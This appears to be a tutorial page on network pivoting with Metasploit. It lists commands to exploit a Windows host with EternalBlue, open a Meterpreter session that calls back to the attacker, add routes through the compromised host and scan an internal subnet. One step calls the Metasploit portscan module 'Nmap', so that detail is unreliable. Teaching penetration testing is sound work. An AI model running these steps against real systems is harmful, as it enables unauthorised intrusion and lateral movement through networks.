Metasploit

Network Pivoting with Metasploit

Metasploit is a powerful framework used for penetration testing and exploiting vulnerabilities in systems. One of the key features of Metasploit is its ability to perform network pivoting, allowing attackers to move between networks once they have compromised a system. This technique can help reach systems or services that are not directly accessible from the outside world.

Metasploit allows you to set up pivoting by using Meterpreter sessions and tunneling network traffic through the compromised system. You can use a pivot as a gateway to access deeper parts of the network that are otherwise out of reach.

Setting Up Metasploit for Network Pivoting

Step 1: Compromise the Target

First, you need to exploit a vulnerability on the target system and gain a Meterpreter session. This can be done using any of Metasploit's exploits.

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target_ip>
set LHOST <your_ip>
run

Once the exploit is successful, you’ll get a Meterpreter session:

meterpreter > sessions

Step 2: Enable Routing for Pivoting

Once you have a Meterpreter session, you can set up network pivoting by configuring routing on Metasploit.

Use the route command to add routes to the internal network behind your pivot. This allows Metasploit to route traffic to internal subnets via the compromised system.

To add a route to an internal network (e.g., 192.168.1.0/24), use:

meterpreter > route add 192.168.1.0 255.255.255.0 <session_id>

Here:

• 192.168.1.0/24 is the internal network you wish to access.

• <session_id> is the session ID of the compromised host.

Step 3: Verify Routing

To check the current routing configuration, use:

meterpreter > route

This will list all the routes you’ve configured, and you can confirm that traffic is properly being routed through the compromised host.

Step 4: Access Internal Systems

Now that the routing is set up, you can interact with internal systems by using Metasploit modules or tools that support routing through your pivot.

For example, you can use Nmap to scan an internal network:

msfconsole
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set RPORT 80
run

The traffic will be routed through your Meterpreter session, allowing you to scan internal systems that are otherwise inaccessible.